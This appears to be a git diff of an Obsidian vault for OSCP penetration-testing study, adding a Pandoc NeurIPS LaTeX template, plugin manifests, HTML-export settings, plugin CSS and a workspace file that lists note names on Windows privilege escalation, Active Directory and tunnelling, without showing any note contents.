\patchBothAmsMathEnvironmentsForLineno{align}%
|
||||
\patchBothAmsMathEnvironmentsForLineno{flalign}%
|
||||
\patchBothAmsMathEnvironmentsForLineno{alignat}%
|
||||
\patchBothAmsMathEnvironmentsForLineno{gather}%
|
||||
\patchBothAmsMathEnvironmentsForLineno{multline}%
|
||||
}
|
||||
{}
|
||||
}
|
||||
\fi
|
||||
\fi
|
||||
|
||||
|
||||
\endinput
|
||||
@@ -0,0 +1,187 @@
|
||||
% This template was tested with Pandoc 3.4 and pandoc-crossref v0.3.18.0. It should be backwards compatible with older version of pandoc..
|
||||
\documentclass{article}
|
||||
|
||||
|
||||
% if you need to pass options to natbib, use, e.g.:
|
||||
% \PassOptionsToPackage{numbers, compress}{natbib}
|
||||
% before loading neurips_2023
|
||||
|
||||
|
||||
% ready for submission
|
||||
\usepackage[final,nonatbib]{neurips}
|
||||
|
||||
|
||||
% to compile a preprint version, e.g., for submission to arXiv, add add the
|
||||
% [preprint] option:
|
||||
% \usepackage[preprint]{neurips_2023}
|
||||
|
||||
|
||||
% to compile a camera-ready version, add the [final] option, e.g.:
|
||||
% \usepackage[final]{neurips_2023}
|
||||
|
||||
|
||||
% to avoid loading the natbib package, add option nonatbib:
|
||||
% \usepackage[nonatbib]{neurips_2023}
|
||||
|
||||
|
||||
\usepackage[utf8]{inputenc} % allow utf-8 input
|
||||
\usepackage[T1]{fontenc} % use 8-bit T1 fonts
|
||||
\usepackage{hyperref} % hyperlinks
|
||||
\usepackage{url} % simple URL typesetting
|
||||
\usepackage{booktabs} % professional-quality tables
|
||||
\usepackage{amsfonts} % blackboard math symbols
|
||||
\usepackage{nicefrac} % compact symbols for 1/2, etc.
|
||||
\usepackage{microtype} % microtypography
|
||||
\usepackage{xcolor} % colors
|
||||
\usepackage{graphicx}
|
||||
\usepackage{longtable} % Add support for Pandoc's longtable if needed
|
||||
\usepackage{array} % For table alignment improvements
|
||||
\usepackage{amsmath}
|
||||
\usepackage{textcomp}
|
||||
\setlength{\LTcapwidth}{\textwidth} % To make captions fit within page width
|
||||
|
||||
\makeatletter
|
||||
\newsavebox\pandoc@box
|
||||
\newcommand*\pandocbounded[1]{% scales image to fit in text height/width
|
||||
\sbox\pandoc@box{#1}%
|
||||
\Gscale@div\@tempa{\textheight}{\dimexpr\ht\pandoc@box+\dp\pandoc@box\relax}%
|
||||
\Gscale@div\@tempb{\linewidth}{\wd\pandoc@box}%
|
||||
\ifdim\@tempb\p@<\@tempa\p@\let\@tempa\@tempb\fi% select the smaller of both
|
||||
\ifdim\@tempa\p@<\p@\scalebox{\@tempa}{\usebox\pandoc@box}%
|
||||
\else\usebox{\pandoc@box}%
|
||||
\fi%
|
||||
}
|
||||
\makeatother
|
||||
\makeatletter
|
||||
\def\maxwidth{\ifdim\Gin@nat@width>\linewidth\linewidth\else\Gin@nat@width\fi}
|
||||
\def\maxheight{\ifdim\Gin@nat@height>\textheight\textheight\else\Gin@nat@height\fi}
|
||||
\makeatother
|
||||
% Scale images if necessary, so that they will not overflow the page
|
||||
% margins by default, and it is still possible to overwrite the defaults
|
||||
% using explicit options in \includegraphics[width, height, ...]{}
|
||||
\setkeys{Gin}{width=\maxwidth,height=\maxheight,keepaspectratio}
|
||||
% Set default figure placement to htbp
|
||||
\makeatletter
|
||||
\def\fps@figure{htbp}
|
||||
\makeatother
|
||||
|
||||
$if(csl-refs)$
|
||||
% definitions for citeproc citations
|
||||
\NewDocumentCommand\citeproctext{}{}
|
||||
\NewDocumentCommand\citeproc{mm}{%
|
||||
\begingroup\def\citeproctext{#2}\cite{#1}\endgroup}
|
||||
\makeatletter
|
||||
% allow citations to break across lines
|
||||
\let\@cite@ofmt\@firstofone
|
||||
% avoid brackets around text for \cite:
|
||||
\def\@biblabel#1{}
|
||||
\def\@cite#1#2{{#1\if@tempswa , #2\fi}}
|
||||
\makeatother
|
||||
\newlength{\cslhangindent}
|
||||
\setlength{\cslhangindent}{1.5em}
|
||||
\newlength{\csllabelwidth}
|
||||
\setlength{\csllabelwidth}{3em}
|
||||
\newenvironment{CSLReferences}[2] % #1 hanging-indent, #2 entry-spacing
|
||||
{\begin{list}{}{%
|
||||
\setlength{\itemindent}{0pt}
|
||||
\setlength{\leftmargin}{0pt}
|
||||
\setlength{\parsep}{0pt}
|
||||
% turn on hanging indent if param 1 is 1
|
||||
\ifodd #1
|
||||
\setlength{\leftmargin}{\cslhangindent}
|
||||
\setlength{\itemindent}{-1\cslhangindent}
|
||||
\fi
|
||||
% set entry spacing
|
||||
\setlength{\itemsep}{#2\baselineskip}}}
|
||||
{\end{list}}
|
||||
\usepackage{calc}
|
||||
\newcommand{\CSLBlock}[1]{\hfill\break\parbox[t]{\linewidth}{\strut\ignorespaces#1\strut}}
|
||||
\newcommand{\CSLLeftMargin}[1]{\parbox[t]{\csllabelwidth}{\strut#1\strut}}
|
||||
\newcommand{\CSLRightInline}[1]{\parbox[t]{\linewidth - \csllabelwidth}{\strut#1\strut}}
|
||||
\newcommand{\CSLIndent}[1]{\hspace{\cslhangindent}#1}
|
||||
$endif$
|
||||
\providecommand{\tightlist}{%
|
||||
\setlength{\itemsep}{0pt}\setlength{\parskip}{0pt}}
|
||||
\title{$title$}
|
||||
|
||||
|
||||
% Iterate through the authors except last to add \And.
|
||||
|
||||
\author{%
|
||||
$for(authors/allbutlast)$
|
||||
$authors.name$\\$authors.affiliation$\\$authors.institution$\\$authors.email$\\$authors.address$ \And
|
||||
$endfor$
|
||||
$for(authors/last)$
|
||||
$authors.name$\\$authors.affiliation$\\$authors.institution$\\$authors.email$\\$authors.address$
|
||||
$endfor$
|
||||
}
|
||||
|
||||
% \author{%
|
||||
% David S.~Hippocampus \\
|
||||
% Department of Computer Science\\
|
||||
% Cranberry-Lemon University\\
|
||||
% Pittsburgh, PA 15213 \\
|
||||
% \texttt{[email protected]} \\
|
||||
% % examples of more authors
|
||||
% % \And
|
||||
% % Coauthor \\
|
||||
% % Affiliation \\
|
||||
% % Address \\
|
||||
% % \texttt{email} \\
|
||||
% % \AND
|
||||
% % Coauthor \\
|
||||
% % Affiliation \\
|
||||
% % Address \\
|
||||
% % \texttt{email} \\
|
||||
% % \And
|
||||
% % Coauthor \\
|
||||
% % Affiliation \\
|
||||
% % Address \\
|
||||
% % \texttt{email} \\
|
||||
% % \And
|
||||
% % Coauthor \\
|
||||
% % Affiliation \\
|
||||
% % Address \\
|
||||
% % \texttt{email} \\
|
||||
% }
|
||||
|
||||
|
||||
\begin{document}
|
||||
|
||||
|
||||
\maketitle
|
||||
|
||||
|
||||
\begin{abstract}
|
||||
$if(abstract)$
|
||||
$abstract$
|
||||
$else$
|
||||
Add your abstract at the beginning of your markdown file like this
|
||||
\begin{verbatim}
|
||||
---
|
||||
title: "Your Title"
|
||||
abstract: "your abstract here"
|
||||
authors:
|
||||
- name: Leonardo V. Castorina
|
||||
affiliation: School of Informatics
|
||||
institution: University of Edinburgh
|
||||
email: [email protected]
|
||||
address: Edinburgh
|
||||
- name: Coauthor
|
||||
affiliation: Affiliation
|
||||
institution: Institution
|
||||
email: [email protected]
|
||||
address: Address
|
||||
---
|
||||
\end{verbatim}
|
||||
This is called YAML frontmatter. If you set your abstract correctly you should not see this message.
|
||||
$endif$
|
||||
\end{abstract}
|
||||
|
||||
|
||||
$body$
|
||||
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
|
||||
\end{document}
|
||||
+32631
File diff suppressed because one or more lines are too long
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"id": "obsidian-mind-map",
|
||||
"name": "Mind Map",
|
||||
"version": "1.1.0",
|
||||
"description": "A plugin to preview notes as Markmap mind maps",
|
||||
"isDesktopOnly": false,
|
||||
"js": "main.js"
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
{
|
||||
"settingsVersion": "1.8.01",
|
||||
"makeOfflineCompatible": false,
|
||||
"inlineAssets": false,
|
||||
"includePluginCSS": "",
|
||||
"includeSvelteCSS": true,
|
||||
"titleProperty": "title",
|
||||
"customHeadContentPath": "",
|
||||
"faviconPath": "",
|
||||
"documentWidth": "40em",
|
||||
"sidebarWidth": "20em",
|
||||
"minOutlineCollapse": 2,
|
||||
"startOutlineCollapsed": false,
|
||||
"allowFoldingHeadings": true,
|
||||
"allowFoldingLists": true,
|
||||
"allowResizingSidebars": true,
|
||||
"logLevel": "warning",
|
||||
"minifyHTML": true,
|
||||
"makeNamesWebStyle": true,
|
||||
"onlyExportModified": true,
|
||||
"deleteOldFiles": true,
|
||||
"addThemeToggle": true,
|
||||
"addOutline": true,
|
||||
"addFileNav": true,
|
||||
"addSearchBar": true,
|
||||
"addGraphView": true,
|
||||
"addTitle": true,
|
||||
"addRSSFeed": true,
|
||||
"siteURL": "",
|
||||
"authorName": "",
|
||||
"vaultTitle": "OSCP",
|
||||
"exportPreset": "website",
|
||||
"openAfterExport": false,
|
||||
"graphAttractionForce": 1,
|
||||
"graphLinkLength": 10,
|
||||
"graphRepulsionForce": 150,
|
||||
"graphCentralForce": 3,
|
||||
"graphEdgePruning": 100,
|
||||
"graphMinNodeSize": 3,
|
||||
"graphMaxNodeSize": 7,
|
||||
"showDefaultTreeIcons": false,
|
||||
"emojiStyle": "Native",
|
||||
"defaultFileIcon": "lucide//file",
|
||||
"defaultFolderIcon": "lucide//folder",
|
||||
"defaultMediaIcon": "lucide//file-image",
|
||||
"exportPath": "/var/home/julle/Documents/html",
|
||||
"filesToExport": [
|
||||
[]
|
||||
]
|
||||
}
|
||||
+74824
File diff suppressed because one or more lines are too long
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"id": "webpage-html-export",
|
||||
"name": "Webpage HTML Export",
|
||||
"version": "1.8.01",
|
||||
"minAppVersion": "1.4.0",
|
||||
"description": "Export html from single files, canvas pages, or whole vaults. Direct access to the exported HTML files allows you to publish your digital garden anywhere. Focuses on flexibility, features, and style parity.",
|
||||
"author": "Nathan George",
|
||||
"authorUrl": "https://github.com/KosmosisDire/obsidian-webpage-export",
|
||||
"isDesktopOnly": true,
|
||||
"fundingUrl": "https://www.buymeacoffee.com/nathangeorge",
|
||||
"updateNote": "This is a quick patch to fix the style issue\ncaused by the obsidian 1.5.8 update.\nIt is not newer than the current 1.8.1 beta."
|
||||
}
|
||||
+432
@@ -0,0 +1,432 @@
|
||||
/* THIS FILE IS NOT EXPORTED WITH THE HTML FILE! */
|
||||
|
||||
/* Flow list used on the settings page */
|
||||
.flow-list {
|
||||
contain: inline-size;
|
||||
gap: 0.2em;
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
flex-wrap: wrap;
|
||||
justify-content: flex-start;
|
||||
width: -webkit-fill-available;
|
||||
background-color: var(--background-secondary);
|
||||
border: 1px solid var(--divider-color);
|
||||
border-radius: 5px;
|
||||
padding: 6px;
|
||||
}
|
||||
|
||||
.flow-item {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
border-radius: 100px;
|
||||
border: 1px solid var(--divider-color);
|
||||
font-size: 0.9em;
|
||||
height: min-content;
|
||||
width: max-content;
|
||||
padding: 3px 8px 3px 8px;
|
||||
margin: 0.1em 0em 0.1em 0.0em;
|
||||
background-color: var(--background-primary);
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.flow-item:has(input:checked) {
|
||||
background-color: hsla(var(--color-accent-hsl), 0.3);
|
||||
}
|
||||
|
||||
.flow-item input[type="checkbox"] {
|
||||
padding: 0;
|
||||
margin: 0.1em;
|
||||
margin-right: 0.5em;
|
||||
}
|
||||
|
||||
/* Progressbar used in the render progress */
|
||||
|
||||
.html-render-progressbar::-webkit-progress-bar {
|
||||
background-color: var(--background-secondary);
|
||||
border-radius: 500px;
|
||||
}
|
||||
|
||||
.html-render-progressbar::-webkit-progress-value {
|
||||
background-color: currentColor;
|
||||
border-radius: 500px;
|
||||
}
|
||||
|
||||
|
||||
/*#region Tree */
|
||||
|
||||
.tree-container
|
||||
{
|
||||
--checkbox-size: 1.2em;
|
||||
--collapse-arrow-size: 0.5em;
|
||||
--tree-horizontal-spacing: calc(var(--collapse-arrow-size) * 2);
|
||||
--tree-vertical-spacing: 0.5em;
|
||||
--sidebar-margin: 12px;
|
||||
|
||||
font-size: 14px;
|
||||
font-family: var(--font-family);
|
||||
}
|
||||
|
||||
input[type=checkbox].file-checkbox
|
||||
{
|
||||
position: absolute;
|
||||
margin-left: calc(0px - var(--collapse-arrow-size) * 2 - 0.5em - var(--checkbox-size) - 0.5em);
|
||||
z-index: 20;
|
||||
}
|
||||
|
||||
.theme-dark .tree-item:has(.file-checkbox.checked).mod-tree-folder
|
||||
{
|
||||
transition: border-radius 0.2s, background-color 0.2s;
|
||||
background-color: rgba(var(--color-blue-rgb), 0.05);
|
||||
border-radius: 3px var(--radius-l) var(--radius-l) 3px;
|
||||
}
|
||||
|
||||
.tree-item:has(.tree-item-contents)
|
||||
{
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.tree-item:has(.file-checkbox).mod-tree-folder
|
||||
{
|
||||
margin-top: 2px;
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
.tree-item.mod-tree-control
|
||||
{
|
||||
background-color: var(--color-base-00);
|
||||
border-radius: var(--radius-s);
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
|
||||
width: fit-content;
|
||||
margin-bottom: 1em;
|
||||
}
|
||||
|
||||
.tree-item:has(.file-checkbox.checked).mod-tree-folder.is-collapsed
|
||||
{
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.tree-item-title *
|
||||
{
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
overflow: visible;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
|
||||
.tree-container .tree-item-icon *
|
||||
{
|
||||
color: var(--text-muted);
|
||||
font-family: emoji;
|
||||
}
|
||||
|
||||
.tree-container .tree-item-icon :is(svg,img)
|
||||
{
|
||||
-webkit-mask-image-repeat: no-repeat;
|
||||
-webkit-mask-image-position: center;
|
||||
max-width: 1.3em;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
/* Skip outer wrappers around icons */
|
||||
.tree-container .tree-item-icon *:has(svg)
|
||||
{
|
||||
display: contents !important;
|
||||
}
|
||||
|
||||
.tree-container .tree-item-icon
|
||||
{
|
||||
min-width: 1.6em;
|
||||
max-width: 1.6em;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: flex-start;
|
||||
}
|
||||
|
||||
.theme-dark .tree-item:has(> .tree-link > .tree-item-contents > .file-checkbox:not(.checked)):has(.file-checkbox.checked).mod-tree-folder
|
||||
{
|
||||
background-color: rgba(var(--color-pink-rgb), 0.1);
|
||||
}
|
||||
|
||||
.theme-light .tree-item:has(.file-checkbox.checked).mod-tree-folder
|
||||
{
|
||||
transition: border-radius 0.2s, background-color 0.2s;
|
||||
background-color: rgba(var(--color-blue-rgb), 0.15);
|
||||
border-radius: 3px var(--radius-l) var(--radius-l) 3px;
|
||||
}
|
||||
|
||||
.theme-light .tree-item:has(> .tree-link > .tree-item-contents > .file-checkbox:not(.checked)):has(.file-checkbox.checked).mod-tree-folder
|
||||
{
|
||||
background-color: rgba(var(--color-pink-rgb), 0.15);
|
||||
}
|
||||
|
||||
|
||||
/* Base tree */
|
||||
.tree-container
|
||||
{
|
||||
/* padding-bottom: 12px; */
|
||||
/* margin: 12px; */
|
||||
/* height: 100%; */
|
||||
/* position: relative; */
|
||||
/* display: contents; */
|
||||
position: relative;
|
||||
height: 100%;
|
||||
width: auto;
|
||||
margin: var(--sidebar-margin);
|
||||
margin-top: 3em;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.tree-container .tree-header
|
||||
{
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
align-items: center;
|
||||
position: absolute;
|
||||
top: -3em;
|
||||
}
|
||||
|
||||
.tree-container .tree-header .sidebar-section-header
|
||||
{
|
||||
margin: 1em;
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
.tree-container:has(.tree-scroll-area:empty)
|
||||
{
|
||||
display: none;
|
||||
}
|
||||
|
||||
.tree-container .tree-scroll-area
|
||||
{
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
max-height: 100%;
|
||||
overflow-y: auto;
|
||||
padding: 1em;
|
||||
padding-right: calc(1em + var(--sidebar-margin));
|
||||
padding-bottom: 3em;
|
||||
border-radius: var(--radius-m);
|
||||
}
|
||||
|
||||
.tree-container .tree-item
|
||||
{
|
||||
transition: background-color 0.2s;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
padding: 0;
|
||||
border: none !important;
|
||||
}
|
||||
|
||||
.tree-container .tree-item-children
|
||||
{
|
||||
padding: 0;
|
||||
margin-bottom: 0;
|
||||
margin-left: 0;
|
||||
|
||||
border-left: none;
|
||||
width: -webkit-fill-available;
|
||||
}
|
||||
|
||||
.tree-container .tree-item.mod-active > .tree-link > .tree-item-contents
|
||||
{
|
||||
color: var(--interactive-accent);
|
||||
}
|
||||
|
||||
.tree-container .tree-link {
|
||||
position: relative;
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
align-items: center;
|
||||
text-decoration: none;
|
||||
color: var(--nav-item-color);
|
||||
width: -webkit-fill-available;
|
||||
margin-left: var(--tree-horizontal-spacing);
|
||||
}
|
||||
|
||||
.tree-container .tree-link:active
|
||||
{
|
||||
color: var(--nav-item-color-active);
|
||||
}
|
||||
|
||||
.tree-container .tree-item-contents
|
||||
{
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
background-color: transparent !important;
|
||||
border-radius: var(--radius-s);
|
||||
padding-left: calc(var(--tree-horizontal-spacing) + var(--checkbox-size) * 2 + 1px) !important;
|
||||
padding-bottom: calc(var(--tree-vertical-spacing) / 2) !important;
|
||||
padding-top: calc(var(--tree-vertical-spacing) / 2) !important;
|
||||
color: var(--text-normal);
|
||||
display: flex !important;
|
||||
flex-direction: row !important;
|
||||
justify-content: flex-start;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.tree-container .tree-item-contents:has(.tree-item-icon.collapse-icon)
|
||||
{
|
||||
cursor: pointer !important;
|
||||
}
|
||||
|
||||
.tree-container .tree-item-title
|
||||
{
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
text-wrap: nowrap;
|
||||
white-space: nowrap;
|
||||
|
||||
width: 100%;
|
||||
width: -webkit-fill-available;
|
||||
width: -moz-available;
|
||||
width: fill-available;
|
||||
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.tree-container .collapse-icon {
|
||||
margin-left: calc(0px - var(--collapse-arrow-size) * 2 - 0.5em);
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.tree-container .tree-item.mod-tree-folder > .tree-link > .collapse-icon
|
||||
{
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.tree-container .collapse-icon > svg {
|
||||
color: unset !important;
|
||||
}
|
||||
|
||||
.tree-container .collapse-icon:hover
|
||||
{
|
||||
color: var(--nav-item-color-hover);
|
||||
}
|
||||
|
||||
.tree-container .tree-item.is-collapsed > .tree-link > .tree-item-contents > .collapse-icon > svg
|
||||
{
|
||||
transition: transform 0.1s ease-in-out;
|
||||
transform: rotate(-90deg);
|
||||
}
|
||||
|
||||
.tree-container .tree-item-contents:hover
|
||||
{
|
||||
cursor: default;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.tree-container .tree-link:hover
|
||||
{
|
||||
background-color: var(--nav-item-background-hover);
|
||||
border-radius: var(--radius-s);
|
||||
}
|
||||
|
||||
.tree-container .tree-item-title
|
||||
{
|
||||
background-color: transparent !important;
|
||||
color: var(--nav-item-color) !important;
|
||||
}
|
||||
|
||||
|
||||
/* Indentation guide */
|
||||
|
||||
.tree-container > .tree-scroll-area > * .tree-item
|
||||
{
|
||||
margin-left: calc(var(--tree-horizontal-spacing) + var(--collapse-arrow-size) / 2 + 1px);
|
||||
border-left: var(--nav-indentation-guide-width) solid var(--nav-indentation-guide-color);
|
||||
}
|
||||
|
||||
.tree-container .tree-scroll-area > * > * > .tree-item
|
||||
{
|
||||
margin-left: calc(var(--collapse-arrow-size) / 2 + 1px);
|
||||
}
|
||||
|
||||
.tree-container .tree-item.mod-active
|
||||
{
|
||||
border-left: var(--nav-indentation-guide-width) solid var(--interactive-accent);
|
||||
}
|
||||
|
||||
|
||||
.tree-container .tree-item:hover:not(.mod-active):not(.mod-collapsible):not(:has(.tree-item:hover)) /* Hover */
|
||||
{
|
||||
border-left: var(--nav-indentation-guide-width) solid var(--nav-item-color-hover);
|
||||
}
|
||||
|
||||
.tree-container .tree-item:not(.mod-collapsible) > .tree-item-children > .tree-item,
|
||||
.tree-container > .tree-scroll-area > .tree-item,
|
||||
.tree-container:not(.mod-nav-indicator) .tree-item
|
||||
{
|
||||
border-left: none !important;
|
||||
}
|
||||
|
||||
.tree-container .tree-item:not(.mod-collapsible) > .tree-item-children > .tree-item > .tree-link,
|
||||
.tree-container:not(.mod-nav-indicator) .tree-item .tree-link,
|
||||
.tree-container > .tree-scroll-area > .tree-item > .tree-link
|
||||
{
|
||||
margin-left: 0 !important;
|
||||
}
|
||||
|
||||
/* Special */
|
||||
|
||||
|
||||
/* AnuPpuccin rainbow indent support */
|
||||
.anp-simple-rainbow-color-toggle.anp-simple-rainbow-indentation-toggle .tree-container .tree-item
|
||||
{
|
||||
border-color: rgba(var(--rainbow-folder-color), 0.5);
|
||||
}
|
||||
|
||||
.tree-container.outline-tree .tree-item[data-depth='1'] > .tree-link > .tree-item-contents
|
||||
{
|
||||
font-weight: 900;
|
||||
font-size: 1.1em;
|
||||
margin-left: 0;
|
||||
padding-left: 1em;
|
||||
}
|
||||
|
||||
.tree-container .nav-folder.mod-root .nav-folder>.nav-folder-children
|
||||
{
|
||||
padding: 0 !important;
|
||||
margin: 0 !important;
|
||||
border: none !important;
|
||||
}
|
||||
|
||||
.tree-container .nav-file
|
||||
{
|
||||
border-radius: 0 !important;
|
||||
}
|
||||
|
||||
.tree-container .nav-folder.mod-root .nav-folder > .nav-folder-children
|
||||
{
|
||||
border-radius: var(--radius-s) !important;;
|
||||
}
|
||||
|
||||
.tree-container .nav-file-tag
|
||||
{
|
||||
margin-right: 1em;
|
||||
}
|
||||
|
||||
.tree-container .nav-file-title-content, .tree-container .nav-folder-title-content
|
||||
{
|
||||
margin-top: unset !important;
|
||||
margin-bottom: unset !important;
|
||||
margin-left: unset !important;
|
||||
margin-right: unset !important;
|
||||
display: unset !important;
|
||||
border-radius: unset !important;
|
||||
cursor: unset !important;
|
||||
font-size: unset !important;
|
||||
font-weight: unset !important;
|
||||
line-height: unset !important;
|
||||
padding: unset !important;
|
||||
border: unset !important;
|
||||
}
|
||||
|
||||
.tree-item-contents:has(.tree-item-icon) .tree-item-title::before
|
||||
{
|
||||
display: none !important;
|
||||
}
|
||||
/*#endregion */
|
||||
Vendored
+226
@@ -0,0 +1,226 @@
|
||||
{
|
||||
"main": {
|
||||
"id": "1e1dfafc416d3823",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "41a215a5e6e7b07d",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "04550972536d9a99",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "markdown",
|
||||
"state": {
|
||||
"file": "Proof.md",
|
||||
"mode": "source",
|
||||
"source": false
|
||||
},
|
||||
"icon": "lucide-file",
|
||||
"title": "Proof"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "vertical"
|
||||
},
|
||||
"left": {
|
||||
"id": "8c61bb6cda4e7ac6",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "489ba046683ef226",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "7cefa59e3501848a",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "file-explorer",
|
||||
"state": {
|
||||
"sortOrder": "alphabetical",
|
||||
"autoReveal": false
|
||||
},
|
||||
"icon": "lucide-folder-closed",
|
||||
"title": "Files"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "1f2b3a02e4d9d7c7",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "search",
|
||||
"state": {
|
||||
"query": "privesc",
|
||||
"matchingCase": false,
|
||||
"explainSearch": false,
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical"
|
||||
},
|
||||
"icon": "lucide-search",
|
||||
"title": "Search"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "97e53de1e3495ed2",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "bookmarks",
|
||||
"state": {},
|
||||
"icon": "lucide-bookmark",
|
||||
"title": "Bookmarks"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 579.5
|
||||
},
|
||||
"right": {
|
||||
"id": "8978c25c21499198",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "3965cff385e97fd3",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "21fe21c4bd728120",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "backlink",
|
||||
"state": {
|
||||
"file": "Proof.md",
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical",
|
||||
"showSearch": false,
|
||||
"searchQuery": "",
|
||||
"backlinkCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-coming-in",
|
||||
"title": "Backlinks for Proof"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "65471ec07cc62613",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outgoing-link",
|
||||
"state": {
|
||||
"file": "Labs/medtech/computers/192.168.152.121.md",
|
||||
"linksCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-going-out",
|
||||
"title": "Outgoing links from 192.168.152.121"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "df4c64fc0fbadbf2",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "tag",
|
||||
"state": {
|
||||
"sortOrder": "frequency",
|
||||
"useHierarchy": true
|
||||
},
|
||||
"icon": "lucide-tags",
|
||||
"title": "Tags"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "085420544f04374b",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outline",
|
||||
"state": {
|
||||
"file": "Labs/medtech/computers/192.168.152.121.md"
|
||||
},
|
||||
"icon": "lucide-list",
|
||||
"title": "Outline of 192.168.152.121"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 300
|
||||
},
|
||||
"left-ribbon": {
|
||||
"hiddenItems": {
|
||||
"bases:Create new base": false,
|
||||
"switcher:Open quick switcher": false,
|
||||
"graph:Open graph view": false,
|
||||
"canvas:Create new canvas": false,
|
||||
"daily-notes:Open today's daily note": false,
|
||||
"templates:Insert template": false,
|
||||
"command-palette:Open command palette": false,
|
||||
"webpage-html-export:Export Vault to HTML": false
|
||||
}
|
||||
},
|
||||
"active": "7cefa59e3501848a",
|
||||
"lastOpenFiles": [
|
||||
"Windows/WWW.md",
|
||||
"Windows/SMB.md",
|
||||
"Windows/Scheduled Tasks.md",
|
||||
"Windows/Information Gathering.md",
|
||||
"Windows/Active Directory for OSCP.md",
|
||||
"Windows/Tunnel/netsh.md",
|
||||
"Windows/Tunnel/ligolo.md",
|
||||
"Windows/Tunnel/chisel.md",
|
||||
"Windows/SMB/crackmapexec.md",
|
||||
"Windows/Services/Unquoted Service Paths.md",
|
||||
"Windows/Services/DLL Hijacking.md",
|
||||
"Windows/Services/Binary Hijacking.md",
|
||||
"Windows/Privesc/Juicypotato.md",
|
||||
"Windows/Information Gathering/Username and Hostname.md",
|
||||
"Windows/Information Gathering/Network.md",
|
||||
"Windows/Information Gathering/Locate files.md",
|
||||
"Windows/Information Gathering/Installed Program.md",
|
||||
"Windows/Information Gathering/History.md",
|
||||
"Windows/CMD/Power_Reboot.md",
|
||||
"Windows/CMD/Permission.md",
|
||||
"Windows/CMD/File Transfer.md",
|
||||
"Windows/CMD/Backup.md",
|
||||
"Windows/Active Directory for OSCP/NTDS.dir cracking with SYSTEM.md",
|
||||
"Windows/Active Directory for OSCP/Mimikatz.md",
|
||||
"Windows/Active Directory for OSCP/Enumeration.md",
|
||||
"Windows/Active Directory for OSCP/We have User Name but no Password/Password Spray.md",
|
||||
"Windows/unnamed_b656515f39144863bbdaa2d5851c417c.png",
|
||||
"MindMap/AD Mindmap/AD - OSCP.canvas",
|
||||
"MindMap/WiFi/WiFi Mindmap.canvas",
|
||||
"MindMap/Web Penetration Testing Mindmap/Mindmap Web Application Pentesting.canvas",
|
||||
"MindMap/SSTI/SSTI Identification technology.canvas",
|
||||
"MindMap/Shells/Staged - VS - Non-staged payloads.canvas",
|
||||
"MindMap/Shells/Shells.canvas",
|
||||
"MindMap/Privilege escalation Mindmap/00 WPE Flow.canvas",
|
||||
"MindMap/Privilege escalation Mindmap/00 Mindmap Windows Privilege Escalation.canvas",
|
||||
"MindMap/Privilege escalation Mindmap/00 Mindmap Linux Privilege Escalation.canvas",
|
||||
"MindMap/Privilege escalation Mindmap/00 LPE Flow.canvas",
|
||||
"MindMap/image/Web-Penetration-Testing-Mindmap.png",
|
||||
"MindMap/image/SSTI Identification technology.png",
|
||||
